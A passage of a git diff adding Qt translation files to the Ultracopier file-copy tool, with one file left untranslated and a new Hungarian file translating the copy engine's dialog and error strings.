+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/hu/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/hu/translation.ts
new file mode 100644
index 0000000..beff862
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/hu/translation.ts
@@ -0,0 +1,1297 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation>Nem támogatott ezen a platformon</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation>A módosítás utolsó dátuma hibás</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation>A hozzáférés utolsó dátuma hibása</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation>Ismeretlen hiba: %1</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation>Útvonal konvertálási hiba</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation>Ismeretlen hiba</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation>A motort mozgatásra kényszerítik, nem másolhatsz vele</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation>A motort másolásra kényszerítik, nem mozgathatsz vele</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation>Cél</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation>Használja a jelenlegi célt: &quot;%1&quot;?</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation>Ezt a módot már korábban kényszerítették. Belső hiba történt, kérlek jelentsd be</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation>Kérdezzen rá</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation>Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation>Összeolvaszt</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation>Nevezze át</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation>Helyezze a végére</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation>Felülír</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation>Felülír, ha különbözik</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation>Felülír, ha újabb</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation>Felülír, ha régebbi</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation>Automatikus</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation>Szekvenciális</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation>Párhuzamos</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation>Beállítási hiba</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation>A beállítási motor nincs betöltve. A szűrők elérése nem lehetséges</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation>Kérdezzen rá</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation>Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation>Összeolvaszt</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation>Nevezze át</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation>Helyezze a végére</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation>Felülír</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation>Felülír, ha különbözik</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
